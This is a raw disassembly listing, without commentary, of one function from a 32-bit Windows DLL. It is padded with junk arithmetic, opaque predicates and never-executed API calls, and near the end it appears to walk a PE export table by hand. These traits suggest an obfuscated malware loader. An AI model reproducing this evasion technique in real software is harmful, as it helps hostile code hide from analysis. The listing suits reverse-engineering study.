lea ecx, [ebp - 0xbe8]
call fcn.1002273f
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x76c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x76c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xbe8]
call fcn.1002273f
cmp dword [eax], 2
jg 0x1001ca0e
mov dword [ebp - 0x380], 0xfffffffb
mov dword [ebp - 0x104c], 0x81a7ecc2
mov dword [ebp - 0x1160], 1
push 3
lea ecx, [ebp - 0x11d4]
call fcn.10022698
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x388], 0xace4
mov dword [ebp - 0x3c0], 0
jmp 0x1001c922
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 3
jge 0x1001c944
push dword [ebp - 0x3c0]
lea ecx, [ebp - 0x11d4]
call fcn.1002273f
mov dword [eax], 0xf885ea6e
jmp 0x1001c915
mov dword [ebp - 0x380], 0
jmp 0x1001c95d
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 2
jg 0x1001c9b4
mov dword [ebp - 0x774], 6
mov dword [ebp - 0x404], 0
jmp 0x1001c989
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 3
jge 0x1001c9a5
mov eax, dword [ebp - 0x404]
mov dword [ebp + eax*4 - 0x138c], 0x7b30498
jmp 0x1001c97c
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
jmp 0x1001c950
mov dword [ebp - 0x388], 0
jmp 0x1001c9cd
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 2
jg 0x1001c9fa
mov byte [ebp - 0x1a2], 0
movzx eax, byte [ebp - 0x1a2]
test eax, eax
je 0x1001c9f8
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtCreatePen]
jmp 0x1001c9c0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x11d4]
call fcn.1002271a
jmp 0x1001c896
mov eax, dword [ebp - 0x174]
cmp dword [ebp + eax*4 - 0x11e4], 0xffffffff
jbe 0x1001ca2a
mov dword [ebp - 0x794], 1
jmp 0x1001ca31
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x1058], eax
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x122c], eax
mov eax, dword [ebp - 0xd7c]
mov dword [ebp - 0x1064], eax
push 3
lea ecx, [ebp - 0xf1c]
call fcn.1002273f
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x11e4]
mov dword [ebp - 0x1168], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1054], 0xfffffffe
push 0
lea ecx, [ebp - 0xbe8]
call fcn.1002273f
mov dword [eax], 0xfffffffe
push 3
lea ecx, [ebp - 0xf1c]
call fcn.1002273f
cmp dword [eax], 0xfffffffe
jge 0x1001cab6
mov dword [ebp - 0x77c], 1
jmp 0x1001cabd
and dword [ebp - 0x77c], 0
push 3
lea ecx, [ebp - 0xf1c]
call fcn.1002273f
mov eax, dword [eax]
cmp eax, dword [ebp - 0x77c]
je 0x1001cae0
mov dword [ebp - 0x784], 1
jmp 0x1001cae7
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x488]
cmp dword [ebp - 0x784], eax
jge 0x1001cb01
mov dword [ebp - 0x78c], 1
jmp 0x1001cb08
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x78c]
dec eax
cmp eax, dword [ebp - 0x174]
jle 0x1001cb23
mov dword [ebp - 0x79c], 1
jmp 0x1001cb2a
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x794]
cmp eax, dword [ebp - 0x79c]
jle 0x1001cb44
mov dword [ebp - 0x7a4], 1
jmp 0x1001cb4b
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x7a4]
mov dword [ebp - 0x488], eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xbe8]
call fcn.1002271a
jmp 0x1001c80a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf1c]
call fcn.1002271a
jmp 0x1001c762
mov dword [ebp - 0xac], 0
mov dword [ebp - 0x410], 1
mov dword [ebp - 0xd8c], 0xd66de6b9
mov dword [ebp - 0x7cc], 0x6c65b0b5
mov dword [ebp - 0x1070], 0x7292
push 4
lea ecx, [ebp - 0xbc4]
call fcn.10022698
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x460], 0xec51ac06
mov dword [ebp - 0x80], 0
jmp 0x1001cbdf
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jge 0x1001cbfb
push dword [ebp - 0x80]
lea ecx, [ebp - 0xbc4]
call fcn.1002273f
mov dword [eax], 0x34ab462a
jmp 0x1001cbd8
mov dword [ebp - 0x80], 0
jmp 0x1001cc0b
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x1001cc21
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x1060], 1
jmp 0x1001cc04
mov dword [ebp - 0xac], 0xfffffffe
jmp 0x1001cc3a
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x1a
jle 0x1001cf4d
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x7d4], 0
mov dword [ebp - 0x84], 0
jmp 0x1001cc74
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x1001cc90
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0xd40], 0x95e1
jmp 0x1001cc67
mov dword [ebp - 0x84], 0
jmp 0x1001cca9
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x1001ccc5
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x7e4], 0xf36a5b5c
jmp 0x1001cc9c
mov dword [ebp - 0x1c0], 0
jmp 0x1001ccde
mov eax, dword [ebp - 0x1c0]
dec eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
jl 0x1001cd0f
mov byte [ebp - 0x18d], 0
movzx eax, byte [ebp - 0x18d]
test eax, eax
je 0x1001cd0d
push 0
push 0x1470
push 0
push 0x14e0
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
jmp 0x1001ccd1
cmp dword [ebp - 0xac], 0
je 0x1001cead
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd40], 0
jne 0x1001ce2c
cmp dword [ebp - 0xac], 0
je 0x1001ce23
cmp dword [ebp - 0x410], 0x21576660
je 0x1001cd55
mov dword [ebp - 0x7ac], 1
jmp 0x1001cd5c
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x7cc]
cmp dword [ebp - 0x7ac], eax
jle 0x1001cd76
mov dword [ebp - 0x7b4], 1
jmp 0x1001cd7d
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x460]
sub eax, dword [ebp - 0x7b4]
imul eax, eax, 0xd6b2
add eax, 5
mov dword [ebp - 0xd84], eax
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1002273f
mov eax, dword [eax]
mov dword [ebp - 0xd4c], eax
mov eax, dword [ebp - 0x460]
dec eax
mov dword [ebp - 0x460], eax
mov eax, dword [ebp - 0xd84]
cmp eax, dword [ebp - 0xd4c]
jle 0x1001cdd4
mov dword [ebp - 0x7bc], 1
jmp 0x1001cddb
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x7bc], eax
je 0x1001cdf5
mov dword [ebp - 0x7c4], 1
jmp 0x1001cdfc
and dword [ebp - 0x7c4], 0
imul eax, dword [ebp - 0x7c4], 0
test eax, eax
jne 0x1001ce0e
cmp dword [ebp - 0x7cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1060]
sub eax, dword [ebp - 0x7d4]
jne 0x1001ce2c
cmp dword [ebp - 0x7d4], 0
je 0x1001ce53
cmp dword [ebp - 0xac], 0
je 0x1001ce53
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1002273f
cmp dword [eax], 0
je 0x1001ce53
mov dword [ebp - 0x7dc], 1
jmp 0x1001ce5a
and dword [ebp - 0x7dc], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x7e4]
add ecx, dword [ebp - 0x7dc]
cmp ecx, dword [ebp + eax - 0x7e4]
jle 0x1001ce88
mov dword [ebp - 0x7ec], 1
jmp 0x1001ce8f
and dword [ebp - 0x7ec], 0
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1002273f
mov ecx, dword [ebp - 0x7ec]
mov dword [eax], ecx
mov eax, 0x8cdab0b8
test eax, eax
jne 0x1001cebb
xor eax, eax
inc eax
jne 0x1001cebb
and dword [ebp - 0x7f4], 0
jmp 0x1001cec5
mov dword [ebp - 0x7f4], 1
cmp dword [ebp - 0x7f4], 0x46bb
jl 0x1001cedd
mov dword [ebp - 0x7fc], 1
jmp 0x1001cee4
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x1c0]
cmp eax, dword [ebp - 0x7fc]
jl 0x1001cf0a
mov dword [ebp - 0x804], 1
jmp 0x1001cf11
and dword [ebp - 0x804], 0
cmp dword [ebp - 0x804], 0x85e3970c
jne 0x1001cf29
mov dword [ebp - 0x80c], 1
jmp 0x1001cf30
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x80c]
mov dword [ebp - 0x410], eax
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0xd8c], eax
jmp 0x1001cc2d
push 1
lea ecx, [ebp - 0xbc4]
call fcn.1002273f
mov dword [eax], 4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbc4]
call fcn.1002271a
mov eax, dword [0x10c36108]
and eax, 1
jne 0x1001cfa6
mov eax, dword [0x10c36108]
or eax, 1
mov dword [0x10c36108], eax
mov dword [ebp - 4], 0x25
mov ecx, 0x10c36054
call fcn.100227b8
push 0x100721ee
call fcn.1005b105
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x82c], 6
mov dword [ebp - 0x414], 0xffffffff
mov dword [ebp - 0x210], 0xd3f46721
push 3
lea ecx, [ebp - 0xbdc]
call fcn.10022698
mov dword [ebp - 4], 0x26
mov dword [ebp - 0xf8], 0xec3d4e70
mov dword [ebp - 0x1264], 0xfffffffa
mov dword [ebp - 0x3c8], 0
jmp 0x1001d005
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 3
jge 0x1001d024
push dword [ebp - 0x3c8]
lea ecx, [ebp - 0xbdc]
call fcn.1002273f
or dword [eax], 0xffffffff
jmp 0x1001cff8
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x210]
neg eax
mov dword [ebp - 0xd58], eax
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xd58], 0
jne 0x1001d060
mov dword [ebp - 0x814], 1
jmp 0x1001d067
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x82c]
add eax, dword [ebp - 0x814]
je 0x1001d3a5
mov dword [ebp - 0x70], 0xffff
mov dword [ebp - 0xd64], 1
mov dword [ebp - 0x390], 0
jmp 0x1001d0a3
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 2
jge 0x1001d0bf
mov eax, dword [ebp - 0x390]
mov dword [ebp + eax*4 - 0xd48], 0
jmp 0x1001d096
push 2
lea ecx, [ebp - 0xbdc]
call fcn.1002273f
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x1078], eax
cmp dword [ebp - 0x70], 0
je 0x1001d0f0
cmp dword [ebp - 0x70], 0
je 0x1001d0f0
mov dword [ebp - 0x81c], 1
jmp 0x1001d0f7
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x81c], eax
jne 0x1001d111
or eax, 0xffffffff
je 0x1001d111
cmp dword [ebp - 0xf8], 0
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x1170], eax
cmp dword [ebp - 0x70], 0xffffffff
jne 0x1001d12f
mov dword [ebp - 0x824], 1
jmp 0x1001d136
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x824], eax
je 0x1001d150
mov dword [ebp - 0xd94], 1
jmp 0x1001d157
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x1080], eax
mov esi, dword [ebp - 0x70]
push 2
lea ecx, [ebp - 0xbdc]
call fcn.1002273f
cmp esi, dword [eax]
jle 0x1001d183
mov dword [ebp - 0x834], 1
jmp 0x1001d18a
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x834], eax
jl 0x1001d1a1
mov dword [ebp - 0x83c], 1
jmp 0x1001d1a8
and dword [ebp - 0x83c], 0
cmp dword [ebp - 0x83c], 0x7684593f
jl 0x1001d1c0
mov dword [ebp - 0x844], 1
jmp 0x1001d1c7
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x844], eax
jne 0x1001d1de
mov dword [ebp - 0x84c], 1
jmp 0x1001d1e5
and dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 0xce57
jl 0x1001d1fd
mov dword [ebp - 0x854], 1
jmp 0x1001d204
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x414]
cmp eax, dword [ebp - 0x70]
je 0x1001d227
mov dword [ebp - 0x85c], 1
jmp 0x1001d22e
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x85c]
cmp eax, 0xffa8
jg 0x1001d24b
mov dword [ebp - 0x41c], 1
jmp 0x1001d252
and dword [ebp - 0x41c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x41c]
mov dword [ebp + eax - 0xd48], ecx
cmp dword [ebp - 0x41c], 0x3491
jge 0x1001d27d
mov dword [ebp - 0x864], 1
jmp 0x1001d284
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x864]
mov dword [ebp - 0x210], eax
mov eax, 0xf7ffff97
test eax, eax
jne 0x1001d2a5
mov dword [ebp - 0x86c], 1
jmp 0x1001d2ac
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x86c]
cmp eax, 0xfffffff6
jae 0x1001d2c9
mov dword [ebp - 0x874], 1
jmp 0x1001d2d0
and dword [ebp - 0x874], 0
cmp dword [ebp - 0x874], 0x7b48fe2d
jne 0x1001d2e8
mov dword [ebp - 0x87c], 1
jmp 0x1001d2ef
and dword [ebp - 0x87c], 0
mov esi, dword [ebp - 0x70]
imul esi, dword [ebp - 0x87c]
push 2
lea ecx, [ebp - 0xbdc]
call fcn.1002273f
cmp dword [eax], esi
jne 0x1001d31f
mov eax, 0x700c0d3
test eax, eax
je 0x1001d31f
mov dword [ebp - 0x884], 1
jmp 0x1001d326
and dword [ebp - 0x884], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x884], eax
je 0x1001d33d
mov dword [ebp - 0x88c], 1
jmp 0x1001d344
and dword [ebp - 0x88c], 0
push 2
lea ecx, [ebp - 0xbdc]
call fcn.1002273f
mov ecx, dword [ebp - 0x88c]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd48]
cmp eax, dword [ebp - 0x210]
jg 0x1001d37a
mov dword [ebp - 0xd9c], 0x48f6
mov dword [ebp - 0x1234], 0x1bda2dd4
mov dword [ebp - 0xd70], 1
mov dword [ebp - 0x278], 0
jmp 0x1001d3dc
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 1
jge 0x1001d3f8
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0xda4], 0x44e3
jmp 0x1001d3cf
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd9c]
cmp ecx, dword [ebp + eax - 0xda4]
je 0x1001d419
mov dword [ebp - 0x894], 1
jmp 0x1001d420
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x894], eax
jge 0x1001d440
mov eax, 0x8da5
test eax, eax
jne 0x1001d440
and dword [ebp - 0x89c], 0
jmp 0x1001d44a
mov dword [ebp - 0x89c], 1
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0xd70], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbdc]
call fcn.1002271a
movzx eax, byte [0x10c3601e]
test eax, eax
je 0x1001d786
mov ecx, 0x10c36054
call fcn.1002287d
movzx eax, al
test eax, eax
jne 0x1001d786
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x8ec]
push eax
mov ecx, 0x10c36054
call fcn.10022886
mov dword [ebp - 0x1088], 0xfffffffc
mov byte [ebp - 0x122], 0
movzx eax, byte [ebp - 0x122]
test eax, eax
je 0x1001d4da
push 0
push 0
push 0
push 0xbda
push 0x1439
push 0
push 0xee5
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
mov byte [ebp - 0x123], 0
movzx eax, byte [ebp - 0x123]
test eax, eax
je 0x1001d4fa
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea eax, [ebp - 0x1178]
push eax
mov ecx, 0x10c36054
call fcn.1002286f
push eax
lea ecx, [ebp - 0x8ec]
call fcn.10022678
movzx eax, al
test eax, eax
je 0x1001d786
mov dword [ebp - 0x100], 6
mov dword [ebp - 0x218], 0x7ab89bdd
push 1
lea ecx, [ebp - 0xfd4]
call fcn.10022698
mov dword [ebp - 4], 0x27
mov dword [ebp - 0xb4], 0
jmp 0x1001d563
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x1001d585
push dword [ebp - 0xb4]
lea ecx, [ebp - 0xfd4]
call fcn.1002273f
mov dword [eax], 0xc9a01c77
jmp 0x1001d556
mov dword [ebp - 0xb4], 0
jmp 0x1001d59e
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 4
jge 0x1001d5ba
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x132c], 0xfffffff8
jmp 0x1001d591
cmp dword [ebp - 0x100], 0
jne 0x1001d61d
cmp dword [ebp - 0x218], 1
je 0x1001d5d8
mov dword [ebp - 0x8a4], 1
jmp 0x1001d5df
and dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x218]
imul eax, dword [ebp - 0x8a4]
cmp eax, 0xf27a
je 0x1001d5ff
mov dword [ebp - 0x8ac], 1
jmp 0x1001d606
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x8ac]
jne 0x1001d61d
and dword [ebp - 0x8b4], 0
jmp 0x1001d627
mov dword [ebp - 0x8b4], 1
cmp dword [ebp - 0x8b4], 0x29b8
jl 0x1001d648
cmp dword [ebp - 0x100], 0
je 0x1001d648
mov dword [ebp - 0x42c], 1
jmp 0x1001d64f
and dword [ebp - 0x42c], 0
push 0
lea ecx, [ebp - 0xfd4]
call fcn.1002273f
mov ecx, dword [ebp - 0x42c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x218]
imul eax, dword [ebp - 0x42c]
cmp eax, 0xffffffff
jle 0x1001d682
mov dword [ebp - 0x8bc], 1
jmp 0x1001d689
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x8bc]
sub eax, dword [ebp - 0x100]
jne 0x1001d6af
cmp dword [ebp - 0x218], 0
jne 0x1001d6af
and dword [ebp - 0x8c4], 0
jmp 0x1001d6b9
mov dword [ebp - 0x8c4], 1
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x8c4], eax
je 0x1001d6d3
mov dword [ebp - 0x8cc], 1
jmp 0x1001d6da
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x218]
imul eax, dword [ebp - 0x8cc]
imul eax, dword [ebp - 0x100]
test eax, eax
jne 0x1001d704
mov eax, 0xf4cc511e
test eax, eax
jne 0x1001d704
mov dword [ebp - 0x8d4], 1
cmp dword [ebp - 0x8d4], 3
jb 0x1001d723
cmp dword [ebp - 0x1b4], 0xffffffff
jne 0x1001e9d9
mov dword [ebp - 0x280], 0xe1757117
mov dword [ebp - 0x1090], 0x5f1dbecc
mov dword [ebp - 0x280], 0xfffffff8
jmp 0x1001d7c0
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 6
jne 0x1001d80a
mov byte [ebp - 0x145], 0
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x1001d7e6
push 0x1566
call dword [sym.imp.USER32.dll_GetKeyState]
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x1001d808
push 0x8c1
push 0xcfd
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
jmp 0x1001d7b3
mov ecx, 0x10c36054
call fcn.10022af5
mov ecx, dword [ebp - 0x108]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10c36054
call fcn.10022af9
mov dword [ebp - 0x54], 0x4182bd7b
mov dword [ebp - 0x88], 0x57d67001
mov dword [ebp - 0x434], 0x24f2
mov dword [ebp - 0xd90], 0
cmp dword [ebp - 0x54], 0
jne 0x1001d85f
mov dword [ebp - 0x91c], 1
jmp 0x1001d866
and dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x54]
jl 0x1001d878
cmp dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x54]
jle 0x1001d892
cmp dword [ebp - 0x434], 0
jne 0x1001d892
and dword [ebp - 0x8f4], 0
jmp 0x1001d89c
mov dword [ebp - 0x8f4], 1
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x8f4]
jl 0x1001d8b3
mov dword [ebp - 0x8fc], 1
jmp 0x1001d8ba
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x8fc]
dec eax
cmp eax, dword [ebp - 0x88]
jg 0x1001d8d5
mov dword [ebp - 0x904], 1
jmp 0x1001d8dc
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x904], eax
jle 0x1001d8f3
mov dword [ebp - 0x90c], 1
jmp 0x1001d8fa
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x90c]
jle 0x1001d911
mov dword [ebp - 0x914], 1
jmp 0x1001d918
and dword [ebp - 0x914], 0
cmp dword [ebp - 0x914], 0xffffffff
jne 0x1001d933
cmp dword [ebp - 0x88], 0
jne 0x1001d933
and dword [ebp - 0x924], 0
jmp 0x1001d93d
mov dword [ebp - 0x924], 1
mov eax, dword [ebp - 0x91c]
cmp eax, dword [ebp - 0x924]
jl 0x1001d9e6
mov dword [ebp - 0xe10], 0xd8fb8cef
mov dword [ebp - 0xf90], 1
mov dword [ebp - 0xf8c], 1
mov dword [ebp - 0xf88], 1
mov dword [ebp - 0xf84], 1
lea ecx, [ebp - 0x479]
call fcn.100227a1
push eax
lea eax, [ebp - 0xf80]
push eax
lea eax, [ebp - 0xf90]
push eax
lea ecx, [ebp - 0x131c]
call fcn.100227a4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x11f4]
call fcn.100226f4
mov dword [ebp - 4], 0x28
mov esi, dword [ebp - 0xe10]
push 0
lea ecx, [ebp - 0x11f4]
call fcn.1002273f
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11f4]
call fcn.1002271a
jmp 0x1001de63
mov dword [ebp - 0xec8], 0xffffffff
mov dword [ebp - 0xec4], 0xffffffff
mov dword [ebp - 0xec0], 0xffffffff
mov dword [ebp - 0xebc], 0xffffffff
mov dword [ebp - 0x92c], 0x3222
mov dword [ebp - 0xd78], 0x10007cc4
cmp dword [ebp - 0x92c], 0x358f
jle 0x1001dab6
and dword [ebp - 0x288], 0
jmp 0x1001da48
cmp dword [ebp - 0x288], 0x4a9e
jge 0x1001daa9
mov dword [ebp - 0xd80], 1
mov dword [ebp - 4], 0x29
cmp dword [ebp - 0x92c], 0x3073
jge 0x1001dae3
mov edx, dword [ebp - 0xd78]
mov ecx, 0x10618e18
call fcn.1002579c
jmp 0x1001daff
and dword [ebp - 0x1d0], 0
jmp 0x1001de79
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x1d0]
cmp ecx, dword [eax + 0x18]
jae 0x1001e9d9
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x228], 0x6d23
mov dword [ebp - 0xcc], 0x25429297
mov dword [ebp - 0x1c8], 0xfffffff8
mov dword [ebp - 0x584], 0xef339200
push 4
lea ecx, [ebp - 0xf10]
call fcn.10022698
mov dword [ebp - 4], 0x30
mov dword [ebp - 0x308], 0
jmp 0x1001ea3f
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 4
jge 0x1001ea61
push dword [ebp - 0x308]
lea ecx, [ebp - 0xf10]
call fcn.1002273f
mov dword [eax], 1
jmp 0x1001ea32
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x11d8], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x10f0], eax
cmp dword [ebp - 0x58], 0
je 0x1001eab9
cmp dword [ebp - 0x58], 0x32fd2d1a
jne 0x1001ea8e
mov dword [ebp - 0x54c], 1
jmp 0x1001ea95
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x478c38ec
jl 0x1001eab9
mov dword [ebp - 0x554], 1
jmp 0x1001eac0
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0xcc], 0xfffffffc
cmp dword [ebp - 0xcc], 4
jne 0x1001eaeb
mov dword [ebp - 0x55c], 1
jmp 0x1001eaf2
and dword [ebp - 0x55c], 0
cmp dword [ebp - 0x55c], 0
jne 0x1001eb07
mov dword [ebp - 0x564], 1
jmp 0x1001eb0e
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c8]
shl eax, 2
sub eax, dword [ebp - 0x58]
jne 0x1001eb3a
cmp dword [ebp - 0xcc], 0
jne 0x1001eb3a
and dword [ebp - 0x56c], 0
jmp 0x1001eb44
mov dword [ebp - 0x56c], 1
mov eax, dword [ebp - 0x56c]
add eax, 0x6fc2
jne 0x1001eb63
cmp dword [ebp - 0xcc], 0
jne 0x1001eb63
and dword [ebp - 0x574], 0
jmp 0x1001eb6d
mov dword [ebp - 0x574], 1
mov eax, dword [ebp - 0x58]
imul eax, dword [ebp - 0x574]
add eax, 0xe676
cmp eax, 0x8376fbfc
je 0x1001eb8f
mov dword [ebp - 0x57c], 1
jmp 0x1001eb96
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x584], eax
mov esi, dword [ebp - 0x584]
push 2
lea ecx, [ebp - 0xf10]
call fcn.1002273f
mov dword [eax], esi
mov dword [ebp - 0x1c8], 0
jmp 0x1001ebd0
cmp dword [ebp - 0x1c8], 3
jg 0x1001ed91
mov dword [ebp - 0x58c], 0x890ba5fc
mov dword [ebp - 0x228], 0
jmp 0x1001ec00
cmp dword [ebp - 0x228], 3
jg 0x1001ecfa
push 4
lea ecx, [ebp - 0xf34]
call fcn.10022698
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x310], 0
jmp 0x1001ec37
cmp dword [ebp - 0x310], 4
jge 0x1001ec59
mov dword [ebp - 0x17c], 0
jmp 0x1001ed13
cmp dword [ebp - 0x17c], 3
jg 0x1001ed42
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf10]
call fcn.1002271a
cmp dword [ebp + 0x10], 0
jne 0x1001edcf
cmp dword [ebp - 0x1b4], 0xffffffff
je 0x1001edcf
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x1bc]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x1b4]
mov ax, word [ecx + eax*2]
mov word [ebp - 0xbc], ax
mov dword [ebp - 0x1000], 0xe91a049f
mov dword [ebp - 0xffc], 0xe91a049f
mov dword [ebp - 0xff8], 0xe91a049f
mov dword [ebp - 0xff4], 0xe91a049f
mov dword [ebp - 0xd4], 0xb22124f8
mov dword [ebp - 0x184], 0xcd5
mov dword [ebp - 0xd4], 0
jmp 0x1001ee24
cmp dword [ebp - 0xd4], 3
jg 0x1001ee3c
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
jmp 0x1001ee17
